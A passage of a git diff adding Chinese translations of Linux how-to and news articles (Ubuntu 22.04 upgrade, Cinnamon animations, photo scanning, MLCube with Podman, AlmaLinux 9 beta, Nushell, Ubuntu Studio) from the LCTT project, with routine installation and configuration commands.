From Ubuntu 20.04 LTS.md new file mode 100644 index 0000000000..4c43ff989f --- /dev/null +++ b/published/202204/20220415 How to Upgrade to Ubuntu 22.04 -Jammy Jellyfish- From Ubuntu 20.04 LTS.md @@ -0,0 +1,106 @@ +[#]: subject: "How to Upgrade to Ubuntu 22.04 “Jammy Jellyfish” From Ubuntu 20.04 LTS" +[#]: via: "https://www.debugpoint.com/2022/04/upgrade-ubuntu-22-04-from-20-04/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14490-1.html" + +如何从 Ubuntu 20.04 LTS 升级到 Ubuntu 22.04 “Jammy Jellyfish” +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/20/081835mfrb93flhqrz9dou.jpg) +s +> 本文介绍从 Ubuntu 20.04 LTS 升级到 Ubuntu 之前,你所需要采取的完整步骤和预防措施。 + +[Ubuntu 22.04 LTS Jammy Jellyfish][1] 将在 2022 年 4 月 21 日发布。我建议你在该日期之后的一两个月后再升级。理想的情况下,如果你在第一次修正版本发布后,才计划升级到任意主要版本,这会是最好的选择。 + +但是,如果你迫切想要体验 Ubuntu 22.04 带来的令人震惊的更改和特色功能,那么,接下来请阅读用于完美升级过程的步骤。 + +### 在升级前 + +在任何升级前,遵循一些最佳的惯例总是更加明智的。这会防止出现一些升级后的问题,并引领通往成功的升级流程。 + + * 备份你的家目录中的数据到另一个驱动器或 USB 存储器,包括:图片、视频或其他的个人文件。 + * 如果你遇到一个不稳定的系统行,请保留一个准备好的 [Ubuntu 的现场 USB][2]。 + * 如果你打算升级 GNOME 工作站,请先禁用所有的 GNOME 扩展,因为这些扩展与 GNOME 3.36+ 不兼容。 + * 在成功的升级后,你可以逐一启用这些扩展。 + * 运行命令 `sudo apt update && sudo apt upgrade` 以确保你的系统是最新的软件包。 + * 关闭所有你正在运行的应用程序。 + * 重新启动你的系统。 + +说到这里,如果你准备好了,接下来遵循下面的说明来从 Ubuntu 20.04 LTS 升级到 Ubuntu 22.04 。 + +### 从 Ubuntu 20.04 和 Ubuntu 21.10 升级到 Ubuntu 22.04 + +#### 在 2022 年 4 月 21 日之前 + +如果你想在发布日期前升级,打开一个终端窗口,并运行下面的命令。 + +``` +sudo do-release-upgrade -d +``` + +![Upgrade to Ubuntu 22.04 LTS from Ubuntu 20.04 LTS][3] + +上面的命令将使用 “jammy” 来覆盖系统中的 “focal” 分支,以获取新的软件包。不仅如此,这个命令也会禁用你这些年可能添加的所有的第三方 PPA 。 + +此外,这个命令将花费一些时间才完成,这主要取决于你的网速。 + +除此之外,注意终端上偶尔出现的提示,它需要你输入 `Y` 或 `N` 。另外,如果你中途取消升级过程,这些第三方 PPA 也不会被启用,你必须手动启用它们。 + +![Summary of the upgrade][4] + +最后,这个命令将计算升级系统所需软件包的大小,并估算所需时间,摘要如下图所示。请仔细地阅读它,并允许升级到 Ubuntu 22.04 LTS Jammy Jellyfish。 + +在升级过程完成后,重新启动你的系统,享受令人兴奋的 Ubuntu 22.04 LTS 。 + +#### 在 2022 年 4 月 21 日之后 + +在 2022 年 4 月 21 日当天或之后,直到 2022 年 07 月第一次修正版本发布,Ubuntu 都不会给予你任何可视化的升级提示,因为第一个修改版本被认为是初始错误被消除后最稳定的版本。 + +这意味着,你要么等到 7 月,你要么强制升级。如何强制升级?打开“软件和更新Software and Updates”,转到“更新Updates”标签页。更改“通知我有新的 Ubuntu 版本Settings notify me of new ubuntu version” 为 “任意新的 Ubuntu 版本any new version”。 + +在完成后,你应该会在桌面上看到一个升级提示。遵循屏幕上的指示,接着继续升级过程。 + +这个提示也会计算升级系统所列软件包所需的时间,因此,仔细的阅读更新程序的输出内容。在你准备好了以后,开始升级过程。 + +最后,在升级过程完成后,重新启动系统,享受全新的 Ubuntu 22.04 LTS Jammy Jellyfish 。 + +#### 从 Ubuntu 21.10 升级到 Ubuntu 22.04 + +针对 Ubuntu 21.10 ,你也可以参考上面确切说明来升级。从 Ubuntu 21.10 升级到 Ubuntu 22.04 不需要额外的步骤。 + +#### 升级到 Ubuntu 22.04 的过程需要多长的时间? + +根据我的测试,在默认安装的情况下,整个升级过程需要 30 多分钟。根据你安装的软件包的数量和安装的年限,你的系统可能会更多。因此,相应地计划你的时间。 + +### 总结 + +最后,我希望这些步骤能帮助你成功地升级你的 Ubuntu 系统到 Jammy Jellyfish 。如果你正在打算升级,祝你一切顺利。 + +请在下面的评论区中告诉我升级过程是如何进行的。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/upgrade-ubuntu-22-04-from-20-04/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://releases.ubuntu.com/22.04/ +[2]: https://www.debugpoint.com/2018/09/how-to-create-ubuntu-linux-os-bootable-usb-in-windows/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/04/Upgrade-to-Ubuntu-22.04-LTS-from-Ubuntu-20.04-LTS-1024x540.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/04/Summary-of-the-upgrade-1024x581.jpg +[5]: https://www.debugpoint.com/2021/10/ubuntu-22-04-daily-builds/ +[6]: https://t.me/debugpoint +[7]: https://twitter.com/DebugPoint +[8]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[9]: https://facebook.com/DebugPoint diff --git a/published/202204/20220416 Disable Animations in Cinnamon Desktop to Slightly Speed Up Your Linux Mint System.md b/published/202204/20220416 Disable Animations in Cinnamon Desktop to Slightly Speed Up Your Linux Mint System.md new file mode 100644 index 0000000000..28f790b16c --- /dev/null +++ b/published/202204/20220416 Disable Animations in Cinnamon Desktop to Slightly Speed Up Your Linux Mint System.md @@ -0,0 +1,74 @@ +[#]: subject: "Disable Animations in Cinnamon Desktop to Slightly Speed Up Your Linux Mint System" +[#]: via: "https://itsfoss.com/disable-animations-cinnamon-desktop/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14499-1.html" + +禁用 Cinnamon 桌面的动画以略微加速你的 Linux Mint 系统 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/22/121054zccs5lcss57lt96e.jpg) + +让我们面对现实吧。 + +与 GNOME 等相比,Cinnamon 已经是一个轻量的桌面环境了。虽然它占用的资源可能没有 Xfce 那么低。 + +不过,如果你有一个硬件不足的系统,并且你想要提升一点性能,而不想切换到 Xfce 等替代性桌面环境Desktop Environment(DE)或 [Sway][1]、[Fluxbox][2] 等窗口管理器Window Manager(WM)的话,我这里倒是有一个实用小技巧可以分享给你。它应该帮助你加快 Linux Mint 的速度,虽然只能够加快一点点。 + +### 禁用 Cinnamon 桌面的动画效果 + +**首先,你一定不要指望用这个小技巧来大幅提高整体桌面性能。原因如下:** + +当你打开/关闭应用程序窗口、使用菜单、弹出对话框等时,你会注意到这些动画animations效果effects。由于这些事件都是短暂的,不会持续运行,因此禁用它们并不能得到很大提升。 + +如果你的系统真的在崩溃的边缘挣扎,禁用这些效果可能有助于减少卡顿。真的到了这种时候,能快一点是一点。让我们来看看该怎么做吧! + +首先,打开菜单,搜索“效果effects”。 + +![打开 Linux Mint Cinnamon 的效果设置][3] + +打开“效果effects”设置窗口,你默认会在“启用效果Enable Effects”这个标签页中。你可以在这里选择禁用(或启用)各种可用的动画效果。 + +![禁用 Linux Mint Cinnamon 桌面的动画][4] + +你可以选择禁用部分或全部效果。 + +如果你切换到“自定义Customize”标签页,你可以自定义你在“启用效果Enable Effects”标签页中看到的各种效果。 + +![自定义 Linux Mint Cinnamon 中的窗口动画][5] + +第一栏是效果的名称,第二栏是动画的类型,第三栏是动画的展示方式,在最后一栏,你可以配置动画完成的时间。 + +如果你选择了 “None”、“easeNone” 和 “0” 时长,就相当于禁用了这个效果。不过,使用另一个标签中的禁用选项是一个更简单的选择。 + +### 值得这样做吗? + +我写这个小技巧的原因是,有读者问我能否定制 Cinnamon 并禁用动画。 + +说实话,这并不费什么劲,而且做了之后也没有多大区别。你几乎不会注意到视觉上的影响,更别说是性能上的改进了。 + +但是,如果你的系统正处于挣扎状态,每一个微小的优化都会有帮助。你也可以尝试使用消耗较少系统资源的轻量级应用程序。这或许对你也有一点帮助。 + +你有任何类似的优化小技巧吗?请在评论区和大家分享吧! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/disable-animations-cinnamon-desktop/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/sway-window-manager/ +[2]: http://fluxbox.org/ +[3]: https://itsfoss.com/wp-content/uploads/2022/04/accessing-effects-settings-mint-cinnamon-800x630.png +[4]: https://itsfoss.com/wp-content/uploads/2022/04/disable-animations-cinnamon-Linux-mint-800x466.png +[5]: https://itsfoss.com/wp-content/uploads/2022/04/customize-window-animation-cinnamon-linux-mint-800x571.png diff --git a/published/202204/20220417 How I scan family photos on Linux.md b/published/202204/20220417 How I scan family photos on Linux.md new file mode 100644 index 0000000000..54d93d77fd --- /dev/null +++ b/published/202204/20220417 How I scan family photos on Linux.md @@ -0,0 +1,64 @@ +[#]: subject: "How I scan family photos on Linux" +[#]: via: "https://opensource.com/article/22/4/scan-family-photos-linux" +[#]: author: "Alan Formy-Duval https://opensource.com/users/alanfdoss" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14511-1.html" + +我如何在 Linux 上扫描家庭照片 +====== + +> 有了 Linux,我可以用意想不到的方式与我的先辈们联系。 + +![](https://img.linux.net.cn/data/attachment/album/202204/26/090841e6aei8to2a4js0zj.jpg) + +Linux 不仅仅是在服务器上运行、为互联网提供动力的东西。它是你的数据、你的家庭历史和记忆、工作或娱乐以及现实生活的安全场所。 + +这就是例子:现在我正在进行一个扫描家庭老照片的项目。我使用带有 GNOME 桌面的 Fedora Linux 已经有几年了,所以我不需要安装任何额外的软件包。我只是把扫描仪插入 USB 接口,启动扫描软件(文档扫描器Document Scanner),就可以了。请继续阅读,看看我是如何做到的。 + +### 将记忆数字化 + +许多人对了解他们的家族历史、先辈们和遗产感兴趣。随着现在技术的发展,将旧的人工制品数字化已经成为一种普遍的做法。无论是你的 80 年代的磁带收藏,还是高中的艺术作品,或者是家庭的老照片,把它们变成数字格式是一种现代的保存和未来验证的方法。 + +我的妈妈最近给了我一些先辈们的照片,所以我有几张想保存的图片。扫描它们不仅提供了某种意义上的永久性,而且使我能够以在拍摄它们的时代闻所未闻的方式来处理它们。例如,我有一张我祖父的照片,他在我出生前几年不幸去世。通过将他的照片数字化,我可以放大,了解他,并可能以一种原本不可能的方式与他建立联系。 + +### 工作流程 + +首先要做的是把我的佳能扫描仪插入 USB 接口。当我打开文档扫描器时,它检测到我的 Canon LiDE 210 扫描仪。接下来,我把照片放到平板扫描仪上。我将设置调整为 2400 DPI 的图像分辨率,以确保我捕捉到每一个细节。 + +然后我点击扫描。在这种分辨率下,扫描可能需要一些时间,但完成后,我可以根据需要裁剪图像并保存它。 + +顺便说一下,在我扫描照片和写这篇文章的时候,我也在用一个开源的音频播放器 [Clementine][2] 在同一台电脑上欣赏我最喜欢的一些音乐。性能受到影响?一点也不。 + +扫描完成后,我还可以选择裁剪图片并将其保存为 PDF、JPG 或任何我选择的格式。 + +### 现实生活 + +请允许我介绍我的祖父和我的叔叔乔治,大约在 1944 年。乔治是一名二战老兵,曾在欧洲与纳粹作战。我的祖父,在右边,是北卡罗来纳州东南部一家木材厂的工头。虽然他没有看到战场,但他负责分配到他的工厂工作的被俘纳粹战俘。他形容他们是年轻的男孩,只想回家和他们的家人在一起。 + +![Scan of photo of my grandfather][3] + +(图片由:Alan Formy-Duval, CC BY-SA 4.0) + +### 总结 + +作为一个专门的 Linux 桌面用户,我有时会听到有人说他们不使用 Linux,因为有一些任务它不能执行。Linux 是我使用的全部,而且在大约 14 年的时间里,我没有遇到这个问题。无论你是在寻找一种愉快的消遣,还是寻找一种提高工作效率的方法,都有可能有一种在 Linux 上运行的解决方案适合你。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/4/scan-family-photos-linux + +作者:[Alan Formy-Duval][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alanfdoss +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/camera-photography-film.jpg +[2]: https://opensource.com/life/16/10/4-open-music-players-compared +[3]: https://opensource.com/sites/default/files/2022-04/Scanner_Picture2022.png diff --git a/published/202204/20220418 MLCube and Podman.md b/published/202204/20220418 MLCube and Podman.md new file mode 100644 index 0000000000..67ba1e44b4 --- /dev/null +++ b/published/202204/20220418 MLCube and Podman.md @@ -0,0 +1,172 @@ +[#]: subject: "MLCube and Podman" +[#]: via: "https://fedoramagazine.org/mlcube-and-podman/" +[#]: author: "Benson Muite https://fedoramagazine.org/author/fed500/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14515-1.html" + +使用 Podman 运行一个 “hello world” MLCube +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/27/103635qwtt6329orht0393.jpg) + +[MLCube][2] 是一个新的基于基础设施规范的开源容器,被引入到基于 Python 的机器学习工作流程中,以实现可重复性。它可以利用诸如 [Podman][3]、[Singularity][4] 和 [Docker][5] 等工具。也支持在远程平台上的执行。开发 MLCube 的 MLCommons 最佳实践工作组的主席之一是来自 Red Hat 的 [Diane Feddema][6]。这篇介绍性文章解释了如何在 Fedora Linux 上使用 Podman 运行 [“hello world” MLCube 例子][7]。 + +[Yazan Monshed][8] 写了一篇关于 [Fedora 上的 Podman][9] 的非常有用的介绍,对这里使用的一些步骤给出了更多细节。 + +首先安装必要的依赖项。 + +``` +sudo dnf -y update +sudo dnf -y install podman git virtualenv \ + policycoreutils-python-utils +``` + +然后,按照文档的要求,设置一个虚拟环境并获得示例代码。为了确保可重复性,使用一个特定的提交,因为该项目正在积极改进。 + +``` +virtualenv -p python3 ./env_mlcube +source ./env_mlcube/bin/activate +git clone https://github.com/mlcommons/mlcube_examples.git +cd ./mlcube_examples/hello_world +git checkout 5fe69bd +pip install mlcube mlcube-docker +mlcube describe +``` + +现在,通过编辑 $HOME/mlcube.yaml 文件,将运行器命令从 `docker` 改为 `podman`,即: + +``` +docker: docker +``` + +改为: + +``` +docker: podman +``` + +如果你使用的是 x86_64 架构的电脑,你可以用以下方式获取容器: + +``` +mlcube configure --mlcube=. --platform=docker +``` + +你会看到一些选项: + +``` +? Please select an image: + ▸ registry.fedoraproject.org/mlcommons/hello_world:0.0.1 + registry.access.redhat.com/mlcommons/hello_world:0.0.1 + docker.io/mlcommons/hello_world:0.0.1 + quay.io/mlcommons/hello_world:0.0.1 +``` + +选择 `docker.io/mlcommons/hello_world:0.0.1` 来获取容器。 + +如果你的电脑不是 x86_64 架构的,你需要构建容器。改变文件 `$HOME/mlcube.yaml`,将这一行: + +``` +build_strategy: pull +``` + +变为: + +``` +build_strategy: auto +``` + +然后用以下方法构建容器: + +``` +mlcube configure --mlcube=. --platform=docker +``` + +要运行测试,你可能需要在目录中适当地设置 SELinux 权限。你可以通过输入以下内容来检查 SELinux 是否已经启用: + +``` +sudo sestatus +``` + +应该会有类似这样的输出: + +``` +SELinux status: enabled +... +``` + +[Josphat Mutai][10]、[Christopher Smart][11] 和 [Daniel Walsh][12] 解释说,在为容器使用的文件设置适当的 SELinux 策略时,你需要谨慎。在这里,你将允许容器读取和写入 `workspace` 目录。 + +``` +sudo semanage fcontext -a -t container_file_t "$PWD/workspace(/.*)?" +sudo restorecon -Rv $PWD/workspace +``` + +现在检查目录策略: + +``` +ls -Z +``` + +输出结果类似于: + +``` +unconfined_u:object_r:user_home_t:s0 Dockerfile +unconfined_u:object_r:user_home_t:s0 README.md +unconfined_u:object_r:user_home_t:s0 mlcube.yaml +unconfined_u:object_r:user_home_t:s0 requirements.txt +unconfined_u:object_r:container_file_t:s0 workspace +``` + +现在运行这个例子: + +``` +mlcube run --mlcube=. --task=hello --platform=docker +mlcube run --mlcube=. --task=bye --platform=docker +``` + +最后,检查输出: + +``` +cat workspace/chats/chat_with_alice.txt +``` + +有类似于以下的文字: + +``` +Hi, Alice! Nice to meet you. +Bye, Alice! It was great talking to you. +``` + +你可以按照 [这里][13] 的描述创建你自己的 MLCube。欢迎对 [MLCube 示例库][14] 做出贡献。[Udica][15] 是一个新项目,它承诺为容器提供更精细的 SELinux 策略控制,便于系统管理员应用。这些项目的积极开发正在进行中。对它们进行测试并提供反馈,将有助于使带有 SELinux 的系统上的安全数据管理更容易、更有效。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/mlcube-and-podman/ + +作者:[Benson Muite][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/fed500/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2022/04/MLCubePodman-816x345.jpg +[2]: https://mlcommons.org/en/mlcube/ +[3]: https://podman.io/ +[4]: https://sylabs.io/singularity/ +[5]: https://www.docker.com/ +[6]: https://www.redhat.com/en/authors/diane-feddema +[7]: https://mlcommons.github.io/mlcube/getting-started/hello-world/ +[8]: https://fedoramagazine.org/author/yazanalmonshed/ +[9]: https://fedoramagazine.org/getting-started-with-podman-in-fedora/ +[10]: https://computingforgeeks.com/set-selinux-context-label-for-podman-graphroot-directory/ +[11]: https://blog.christophersmart.com/2021/01/31/podman-volumes-and-selinux/ +[12]: https://opensource.com/article/18/2/selinux-labels-container-runtimes +[13]: https://mlcommons.github.io/mlcube/tutorials/create-mlcube/ +[14]: https://github.com/mlcommons/mlcube_examples +[15]: https://github.com/containers/udica diff --git a/published/202204/20220420 AlmaLinux 9.0 Beta Is Here, Ready to Replace to RHEL 9.md b/published/202204/20220420 AlmaLinux 9.0 Beta Is Here, Ready to Replace to RHEL 9.md new file mode 100644 index 0000000000..03ff1d6891 --- /dev/null +++ b/published/202204/20220420 AlmaLinux 9.0 Beta Is Here, Ready to Replace to RHEL 9.md @@ -0,0 +1,89 @@ +[#]: subject: "AlmaLinux 9.0 Beta Is Here, Ready to Replace to RHEL 9" +[#]: via: "https://news.itsfoss.com/almalinux-9-0-beta-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14500-1.html" + +AlmaLinux 9.0 测试版来了,与 RHEL 9 同步 +====== + +> AlmaLinux 9 Beta 发布了,跟上了最新的 RHEL 9,还有一些软件包的更新和变化。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/04/almalinux-9-beta.jpg) + +AlmaLinux 是一个流行的企业级 Linux 发行版,它刚刚宣布了 9.0 测试版,以和上游系统(RHEL 9)保持同步。 + +让我先来提供一些背景介绍吧。AlmaLinux 在 2021 年初推出,以取代当时刚停产的 CentOS。它的主要目标之一是成为 RHEL 的替代品,特别是需要达到 100% 的二进制兼容。 + +不要忘了,AlmaLinux 是免费的,这使得它成为 [最好的 RHEL 替代品之一][1]。 + +作为一个注重稳定性的发行版,它并没有很多新的功能。不过,它确实有很多软件包的更新,本文将介绍逐一它们。 + +让我们来看一看吧! + +### 有什么新功能? + +作为 RHEL 的克隆版,它几乎继承了 RHEL 9.0 测试版的所有功能。 + + * [Linux 5.14 内核][2] + * SELinux 性能改进 + * 更新的软件包 + +#### Linux 5.14 内核 + +这绝对是最大的升级,Linux 5.14 内核带来了更新的硬件支持和其他各种改进。虽然与 AlmaLinux 的目标用户不是特别相关,但它确实包括了我很欣赏的 Radeon 卡的热拔插功能。 + +除此之外,这是一个相当小的版本,它最大的卖点可能是 [紧跟在 Linux 30 周年之后发布][2]。 + +#### SELinux 性能改进 + +![][3] + +和所有的安全措施一样,SELinux 总是会对性能产生轻微的影响。虽然这在很大程度上是最小的,但它总是还有改进空间,而这个版本貌似就有性能改进。 + +正如红帽 [博文][4] 中所展示的那样,其中一些性能改进是相当显著的。从上图可以看出,在显示的指标中,Linux 5.14 内核(蓝色)的 SELinux 性能明显好于 Linux 5.6 内核(红色)。 + +总的来说,性能有所提升,包括开销(从大约 30 MB 提升至大约 15 MB)和文件创建时间(从大约 55 ms 提升至大约 44 ms)。 + +#### 更新的软件包 + +这个版本包含了大量的软件包更新。其中一些比较重要的包括 Git 2.31、PHP 8.0、Perl 5.32 和 MySQL 8.0。GCC 也更新到了 11.2 版本。 + +有了这些更新,它应该是对更多现代标准有更好的兼容性。 + +与上游相比,它也有一些软件包被删除。关于完整的变化列表,请参考 [官方发布说明][5]。 + +### 总结 + +总的来说,我认为 AlmaLinux 9.0 正在成为一个相当不错的版本,特别是当我看到了这个测试版中的改进。 + +AlmaLinux 9.0 测试版可用于 x86_64、arch64、ppc64le 和s390x 等架构。如果你想试用 AlmaLinux 9.0 测试版,请点击下方链接前往它的官网。 + +> [AlmaLinux 9.0 测试版][6] + +请注意,它还没有准备好用于生产服务器,目前仅限于测试使用。 + +你打算从 CentOS 转到 AlmaLinux 吗?请在下面的评论中告诉我们吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/almalinux-9-0-beta-release/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/rhel-based-server-distributions/ +[2]: https://news.itsfoss.com/kernel-5-14-release/ +[3]: https://news.itsfoss.com/wp-content/uploads/2022/04/SELinux-Performance.jpg +[4]: https://www.redhat.com/en/blog/improving-performance-and-space-efficiency-selinux +[5]: https://wiki.almalinux.org/release-notes/9.0-beta.html +[6]: https://mirrors.almalinux.org/isos.html diff --git a/published/202204/20220420 Nushell- Cross-platform Shell That Gives You More Clarity on Error Messages.md b/published/202204/20220420 Nushell- Cross-platform Shell That Gives You More Clarity on Error Messages.md new file mode 100644 index 0000000000..b0a837bd8d --- /dev/null +++ b/published/202204/20220420 Nushell- Cross-platform Shell That Gives You More Clarity on Error Messages.md @@ -0,0 +1,110 @@ +[#]: subject: "Nushell: Cross-platform Shell That Gives You More Clarity on Error Messages" +[#]: via: "https://itsfoss.com/nushell/" +[#]: author: "Marco Carmona https://itsfoss.com/author/marco/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14526-1.html" + +Nushell: 一个让你更清楚地了解错误信息的跨平台 Shell +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/30/181450b5r4m5jb77llrfru.jpg) + +> Nushell 是一个独特的 Shell,它提供易于阅读的错误信息,以及跨平台支持。在这里可以了解到更多关于它的信息。 + +即使你对使用终端不感兴趣,Linux 终端也常常使一些繁重的工作变得更加轻松,以及可以让你修复一些东西。因此,可以说,如果你知道自己在做什么,Linux 终端是相当强大的。 + +这也是事实!但是当你看到一些错误消息就表明出现问题了。如果你没有足够的使用经验,可能不知道如何解决它。 + +虽然这些错误信息试图向你传达该问题的最佳含义,但不是每个用户都能轻易理解该如何修复。对于初学者来说,这通常需要进行一些研究。但是,如果错误能更清晰一些,用户就能更快地解决它。 + +不仅仅限于错误信息,例如,你在终端浏览文件时看到的输出结构,也不是最漂亮的。 + +![Terminal listing several files][1] + +**你明白我的意思吗?** 当然,当你有更多不同类型的文件时,这可能变得更加复杂。而且,你无法从基本的 `ls` 命令的输出中了解到文件的权限、组等。 + +这就是 Nushell 试图解决的问题。 + +### Nushell:一个默认提供用户友好输出的 Shell + +![Nushell example screenshot][2] + +Nushell 也被称为 Nu,它的理念和灵感来自于 [PowerShell][3]、函数式编程语言和现代 [CLI][4] 工具等项目。 + +让我给你举个例子,想象一下你只想让你的输出列出你的主目录内类型为文件的项目,包括隐藏文件。那么,要实现这一点,只要输入下面的命令就可以了: + +``` +ls -a | where type == 'file' +``` + +![Listing only files with Nushell][5] + +观察一下,它的语法是多么清晰和简单。现在想象一下,用 Nushell 查找进程和名称 ID、它的状态,以及 CPU 或内存消耗是多么容易。**这是它魔法的一部分!** + +它会尽力以专门组织的方式为你输入的命令提供适合用户的输出。 + +### Nushell 的特点 + +![Error messages in Nu, one of its primary highlights][6] + +根据现有的官方信息,它的一些最受欢迎的功能包括: + + * **任何操作系统都通过管道进行控制。** Nu 可以在 Linux、macOS 和 Windows 上工作。换句话说,作为一个灵活的跨平台 shell,具有现代感。 + * **一切都是数据。** Nu 管道使用结构化数据,所以你可以安全地选择、过滤和排序,每次都是同样的方式。 + * **强大的插件。** 使用强大的插件系统,很容易扩展 Nu 的功能。 + * **易于阅读的错误信息。** Nu 操作的是类型化的数据,所以它可以捕捉到其他 shell 所没有的错误。当错误发生时,Nu 会告诉你确切的位置和原因。 + * 清晰的 IDE 支持。 + +你可以看看它的 [官方文档][7],以全面了解它的功能和用法。 + +### 在你的系统中安装 Nushell + +不幸的是,如果你是一个像我一样的 Ubuntu 用户,你将找不到安装 Nushell 的 APT 仓库。但是,你可以按照它在 [GitHub][8] 上的说明,通过安装所需的依赖项来构建它。 + +幸运的是,有一种方法可以在任何发行版上安装它,即使用 Homebrew。到它的官方网站去了解更多的安装选项。 + +> **[Nushell][9]** + +你可以参考我们关于 [在 Linux 上安装和使用 Homebrew 包管理器][10] 的教程。当你在 Linux 上成功设置了它,你需要输入以下命令来安装 Nushell: + +``` +brew install nushell +``` + +![Installing nushell with Homebrew][11] + +当这个过程完成后,只要输入 `nu` 就可以启动 Nushell shell。**这就完成了!** + +> 如果你想把 Nushell 设置为你的默认 shell,你可以用命令 `chsh` 来做,但是记住,它仍然在开发阶段,这就是为什么我们不推荐它用于日常使用。 + +然而,在你决定尝试之前,你可以在其网站或 [GitHub 页面][8] 上了解关于它的更多信息。 + +你对这个有趣的 shell 什么看法?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/nushell/ + +作者:[Marco Carmona][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/marco/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/wp-content/uploads/2022/04/Terminal-with-several-files-800x477.png +[2]: https://itsfoss.com/wp-content/uploads/2022/04/Nushell-example-800x475.jpg +[3]: https://itsfoss.com/microsoft-open-sources-powershell/ +[4]: https://itsfoss.com/gui-cli-tui/ +[5]: https://itsfoss.com/wp-content/uploads/2022/04/Listing-only-files-with-nushell-800x246.png +[6]: https://itsfoss.com/wp-content/uploads/2022/04/Error-messages-in-Nu-800x259.png +[7]: https://www.nushell.sh/book/ +[8]: https://github.com/nushell/nushell +[9]: https://www.nushell.sh/ +[10]: https://itsfoss.com/homebrew-linux/ +[11]: https://itsfoss.com/wp-content/uploads/2022/04/Installing-nushell-with-brew-800x470.png diff --git a/published/202204/20220420 Ubuntu Studio 22.04 LTS - New Features and Release Details.md b/published/202204/20220420 Ubuntu Studio 22.04 LTS - New Features and Release Details.md new file mode 100644 index 0000000000..46a8fe08b1 --- /dev/null +++ b/published/202204/20220420 Ubuntu Studio 22.04 LTS - New Features and Release Details.md @@ -0,0 +1,105 @@ +[#]: subject: "Ubuntu Studio 22.04 LTS – New Features and Release Details" +[#]: via: "https://www.debugpoint.com/2022/04/ubuntu-studio-22-04-lts/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14507-1.html" + +Ubuntu Studio 22.04 LTS - 新功能和发布细节 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/25/101629tf7ur432nma7vara.jpg) + +> Ubuntu Studio 22.04 LTS “Jammy Jellyfish” 的新特性和增强功能列表。 + +[Ubuntu Studio][1] 是 Ubuntu 的官方特色版,专门为那些主要从事图形、音频和视频工作的创作者服务。这个官方发行版在其 ISO 镜像中预装了几乎所有流行的开源创意软件,为你提供了一个现成而稳定的系统来启动你的专业工作。 + +![Ubuntu Studio 22.04 LTS Desktop][2] + +### Ubuntu Studio 22.04 LTS - 新功能 + +像所有的 Ubuntu 官方版本一样,Ubuntu Studio 22.04 LTS 基于 [Ubuntu 22.04 LTS “Jammy 